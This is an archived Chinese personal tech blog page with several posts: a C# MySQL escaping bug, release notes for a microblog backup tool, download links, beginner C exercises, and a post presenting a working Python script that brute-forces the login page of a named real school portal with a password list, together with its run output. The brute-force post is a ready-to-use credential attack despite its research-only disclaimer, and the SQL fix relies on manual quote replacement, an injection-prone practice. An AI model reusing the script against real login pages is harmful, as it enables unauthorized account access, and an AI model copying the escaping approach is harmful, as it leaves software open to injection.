Archive for the ‘misc’ Category

MySQL的ExecuteNonQuery()出现异常 “未处理 System.ArgumentOutOfRangeException”

错误内容如下:

未处理 System.ArgumentOutOfRangeException
 Message="索引和长度必须引用该字符串内的位置。\r\n参数名: length"
 Source="mscorlib"
 ParamName="length"
 StackTrace:
 在 System.String.InternalSubStringWithChecks(Int32 startIndex, Int32 length, Boolean fAlwaysCopy)
 在 MySql.Data.MySqlClient.MySqlTokenizer.NextParameter()
 在 MySql.Data.MySqlClient.Statement.InternalBindParameters(String sql, MySqlParameterCollection parameters, MySqlPacket packet)
 在 MySql.Data.MySqlClient.Statement.BindParameters()
 在 MySql.Data.MySqlClient.PreparableStatement.Execute()
 在 MySql.Data.MySqlClient.MySqlCommand.ExecuteReader(CommandBehavior behavior)
 在 MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuery()
 在 DiguBackup.CDigu.BackupAsDb() 位置 d:\projects\DiguBackup\DiguBackup\Form1.cs:行号 245
 在 DiguBackup.Form1.btnBackup_Click(Object sender, EventArgs e) 位置 d:\projects\DiguBackup\DiguBackup\Form1.cs:行号 76
 在 System.Windows.Forms.Control.OnClick(EventArgs e)
 在 System.Windows.Forms.Button.OnClick(EventArgs e)
 在 System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
 在 System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
 在 System.Windows.Forms.Control.WndProc(Message& m)
 在 System.Windows.Forms.ButtonBase.WndProc(Message& m)
 在 System.Windows.Forms.Button.WndProc(Message& m)
 在 System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
 在 System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
 在 System.Windows.Forms.NativeWindow.DebuggableCallback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)
 在 System.Windows.Forms.UnsafeNativeMethods.DispatchMessageW(MSG& msg)
 在 System.Windows.Forms.Application.ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(Int32 dwComponentID, Int32 reason, Int32 pvLoopData)
 在 System.Windows.Forms.Application.ThreadContext.RunMessageLoopInner(Int32 reason, ApplicationContext context)
 在 System.Windows.Forms.Application.ThreadContext.RunMessageLoop(Int32 reason, ApplicationContext context)
 在 System.Windows.Forms.Application.Run(Form mainForm)
 在 DiguBackup.Program.Main() 位置 d:\projects\DiguBackup\DiguBackup\Program.cs:行号 18
 在 System.AppDomain._nExecuteAssembly(Assembly assembly, String[] args)
 在 System.AppDomain.ExecuteAssembly(String assemblyFile, Evidence assemblySecurity, String[] args)
 在 Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly()
 在 System.Threading.ThreadHelper.ThreadStart_Context(Object state)
 在 System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
 在 System.Threading.ThreadHelper.ThreadStart()
 InnerException:

google到了此文 “用mysql相当多问题。不是说开源不好,可是拜托,争争气吧” 的第五条,发现情况和这个几乎一样,看作者的语气对开源的东东都不怎么看好,并且说是源代码产生的问题,无法调试。我就郁闷死了。难不成要换种数据库?

这个是mysql官方09年的一个bug讨论贴 http://bugs.mysql.com/bug.php?id=44960 , 我开始怀疑是sql语句有需要转义的字符,于是查看sql语句:

insert into status(created_at,text,picPath,source,in_reply_to_status_id,in_reply_to_user_id,in_reply_to_user_name,in_reply_to_screen_name,favorited) values ('Mon Nov 16 21:02:03 +0800 2009','被杨教授电击的后果完全可以详见《飞越疯人院》(《One Flew Over the Cuckoo's Nest》)','','网站',0,0,'','','false')

这样可能看不清楚,拷贝到navicat和sqlserver management studio里面看看:

Cuckoo后面的单引号没有被转义,所以肯定要报错。

mysql中字符转义的方法是在前面加上反斜杠 \ 字符。

可以将字符里面的 ‘ 替换为 \’ ,直接用c#里面的replace(oldstring,newstring)替换。

我以为是replace(“‘”,”\’”) ,其实是replace(“‘”,@”\’”)。@是用来避免转义,有啥字符输出啥字符的。

 

嘀咕备份

嘀咕备份

嘀咕备份

一.简介

digubackup是c#写的一个嘀咕微博数据备份程序。
可以备份指定id的文本消息为xml文件,可以备份图片,可以将数据导入到mySQL数据库,通过php网页仿嘀咕网站查看数据。

二. 安装使用

1.首先要保证机子上安装有.net框架2.0及其以上版本,vista,win 7自带,xp及其以下需要安装。
2.运行gac.bat。
3.运行DiguBackup.exe。

三.注意

1.”备份为xml文件”选项会备份嘀咕文本消息和图片消息。
2.”备份到mySQL数据库”选项会备份嘀咕文本消息和图片消息,并将数据写入mySQL数据库。
3.如果选择了”备份到mySQL数据库”,可以以本地网站的形式查看备份数据,需要安装好了php mysql之后将web目录拷贝到网站,
修改conn.php里面的mysql_connect(“localhost”, “root”, “x”),
将”localhost”,”root”,”x”修改为你的mysql主机地址,用户名,密码将img目录拷贝到web\img目录。

四.版本

1.0(2010.03.12)    发布
1.1(????.??.??) ??

五.下载

程序 http://techguru.cn/wp-content/uploads/2010/03/digubackup-bin.zip
源码 http://techguru.cn/wp-content/uploads/2010/03/digubackup-src.zip

五.关于

作者 tunpishuang
项目主页 http://techguru.cn/digu-backup

 

兽兽之后成都工行女郑璇也来了

一个门接着一个门啊,看都看不过来。ML是他们的权利,围观是我们的福利。请ctrl+A[via]

 

《2030肢解中国—美国的全球战略与中国的危机》戴旭上校在母校演讲的视频完整版下载

下载地址:

ed2k://|file|2030%E8%82%A2%E8%A7%A3%E4%B8%AD%E5%9B%BD-%E7%BE%8E%E5%9B%BD%E5%85%A8%E7%90%83%E6%88%98%E7%95%A5%E4%B8%8E%E4%B8%AD%E5%9B%BD%E5%8D%B1%E6%9C%BA%EF%BC%88%E6%88%B4%E6%97%AD%EF%BC%89-%E4%BC%98%E9%85%B7.flv|268138528|463B900026426595A967C435F18DB252|h=B6TKAUYKDXMKTI5LKMYG5SWNKNXXGNJS|/

用电骡或迅雷下载。

youtube在线观看:http://docs.google.com/View?id=dhh5gtxb_458fhvj5zc5 【翻墙的需要】。[update 2010.2.22]

 

Python零基础到编写网页brute force cracking script

二级考完了,成绩还没有出现,现在每个星期7节课,我纳闷了,课程能否安排多一点嘛。别水得太明显了,否则我都不好意思在高中同学面前说我们课有好“多”,有好“忙”了。

何以解忧,唯有上网!准备用python写个暴力破解学校数字话校园的脚本,(注:三天前开始看<python入门.doc>),粗略了看了一下数据类型和各种程序结构的语法for啊,if , elif ,else 之类的 。

python现在的稳定版有两个2.6.1和3.0.1,听说后者改进了很多东西,不如去掉了urllib2,统一到urllib中。正是python的改进时如此的迅速造成了我股沟出来的源码很多都运行不起了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#tunpishuang at gmail dot com
#2009.4.1
#dc_crack.py 0.0.1
import urllib.request
import urllib.parse
fsock=open('pass.txt','r')
for i in range(1,10000000):
        pw=fsock.readline(7)
        params = urllib.parse.urlencode({"__VIEWSTATE":"/wEPDwUKLTc4NzgzNzQ2OA9kFgICAw9kFgICAw8PFgIeBFRleHQFD+aVsOWtl+WMluagoeWbrWRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQlpYnRuTG9naW5tSss80plBNjDsxReY6EwpOTNoAA==","tbUserNo": 20720310307, "tbPW": pw,"ibtnLogin.x":28,"ibtnLogin.y":12,"__EVENTVALIDATION":"/wEWBALXj5D7DgKK/c7gAQLGusrDBwKBo5SvBRBXbuiC9/sP++91qHXRDbl49eF+"})
        f = urllib.request.urlopen("http://dc.cqit.edu.cn/userlogin.aspx", params)
        flag=str(f.read(9))
        if(flag == "b'<script>t'"):
                print("login ok!")
                print("the true password is: %s" %pw)
                break
        else:
                print("flag:%s ,password:<%s> wrong !trying next password...\n" % (flag,pw))

通过http.client.HTTPResponse这个实例的类文件对象的read(9)方法来判断,开始无论密码正确否都返回error!,后来在Google论坛comp.lang.python发了个帖子,某老外热情的解答了我等小菜的疑问,甚感激。

原来是py3默认用的unicode,但是http返回的是bytes,需要通过str()转换一下,大概就是这样吧。

最后把自己的密码改成一个稍微靠前点的:0000010:

>>>

flag:b’<script>a’ ,password:<0000000> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000001> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000002> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000003> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000004> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000005> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000006> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000007> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000008> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000009> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

login ok!

the true password is: 0000010

>>>

破完收工~下一步准备完善一下:词典直接放内存,通过参数支持get,post和自定义action页面,自定义发送输入….etc…..

[本文出现的脚本仅供研究,切勿用于非法用途,否则后果自负]

 

最近研究的c语言的数个实例,很菜的哦

1:#include “stdio.h”
void main()
{
printf(“你好啊  我靠!\n”);
}
2:
#include <stdio.h>
void main()
{
int a,b;
a=485555;
b=3825;
printf(“a=%d\n”,a);
printf(“%d%d\n”,a,b);
printf(“%d%8d\n”,a,b);
}
3:
#include <stdio.h>
void main()
{
int A,B,a,b;
printf(“输入一个数,然后按回车键”);
scanf(“%d”,&A);
printf(“输入一个数,然后按回车键”);
scanf(“%d”,&B);
printf(“先输入一个数,按空格键后,再输入第二个数,再按回车键”);
scanf(“%d %d”,&a,&b);
printf(“%d%8d\n”,A,B);
printf(“%d%8d\n”,a,b);
}
4:
#include <stdio.h>
#define RED 0
#define GREEN 1
#define BLUE 2
void main()
{
int a=66;
char c=’A';
double salary;
char name[20]=”张国强  男  28岁”;
salary=99.99;
printf(“%s\n”,name);
printf(“工资 = %8.2f\n”,salary);
printf(“\n%d,%x,%c\n”,a,a,a);
printf(“%d,%x,%c\n\n”,c,c,c);
printf(“红色%2d    绿色%2d    蓝色%2d\n”,RED,GREEN,BLUE);
printf(“\n”);
}
5:
#include <stdio.h>
#define RED 0
#define GREEN 1
#define BLUE 2
void main()
{
int a;
char name[20]=”张国强 男 28岁”;
a=sizeof(char);
printf(“size of char = %d\n”,a);
a=sizeof(int);
printf(“size of int = %d\n”,a);
a=sizeof(short int);
printf(“size of short int = %d\n”,a);
a=sizeof(float);
printf(“size of float = %d\n”,a);
a=sizeof(double);
printf(“size of double = %d\n”,a);
a=sizeof RED;
printf(“\nsize of RED = %d\n”,a);
a=sizeof name;
printf(“size of \’name\’ = %d\n”,a);
a=sizeof “file name”;
printf(“size of \”file name\” = %d\n\n”,a);
}
6:
#include <stdio.h>
void main()
{
printf(“%d\n”,’A');    //字符A
printf(“%d\n”,’\x41′);  //字符A
printf(“\n%d\n”,’\”‘);  //双引号
printf(“%d\n”,’\”);   //单引号
printf(“%d\n”,’\\’);   //反斜线
printf(“\n%d\n”,’\a’);  //响铃
printf(“%d\n”,’\b’);   //退格
printf(“%d\n”,’\t’);    //tab
printf(“%d\n”,’\n’);   //回车换行
printf(“%d\n”,’\v’);   //垂直制表
printf(“%d\n”,’\f’);   //换页
printf(“%d\n\n”,’\r’);   //回车
}
7:
#include <stdio.h>
int a=66;
void main()
{
int data[3] = {100,201,3300};
static char str[ ]={‘A’,'b’,67,68,’\0′};
auto char name[ ]=”张国强 男 28岁”;
printf(“%d,%d,%d\n”,data[0],data[1],data[2]);
printf(“%s\n”,str);
printf(“%s\n”,name);
printf(“\n”);
a=sizeof data;
printf(“size of \’data\’ = %d\n”,a);
a=sizeof str;
printf(“size of \’str\’ = %d\n”,a);
a=sizeof name;
printf(“size of \’name\’ = %d\n”,a);
printf(“\n”);
printf(“请输入你的身份证号码\n”);
gets(str);          //允许输入的数字间有空格
printf(“\n身份证号码: %s\n\n”,str);
puts(str); //和printf功能相同,
}
8:
#include “stdio.h”
void main()
{
double a,b,c;
a=1155+112.3+11.4+20.5+10.2+5.2+10.1;
b=a/110.3;
c=2450*a;
printf(“\n总使用面积=%f 平方米”,a);
printf(“利用率=%f %c\n\n”,b*100,36);
printf(“售价=%f 元\n\n”,c);
}
就是这些了,才在研究所以都是一些简单的撒.
20081108评论:原来我是2006年开始学C语言的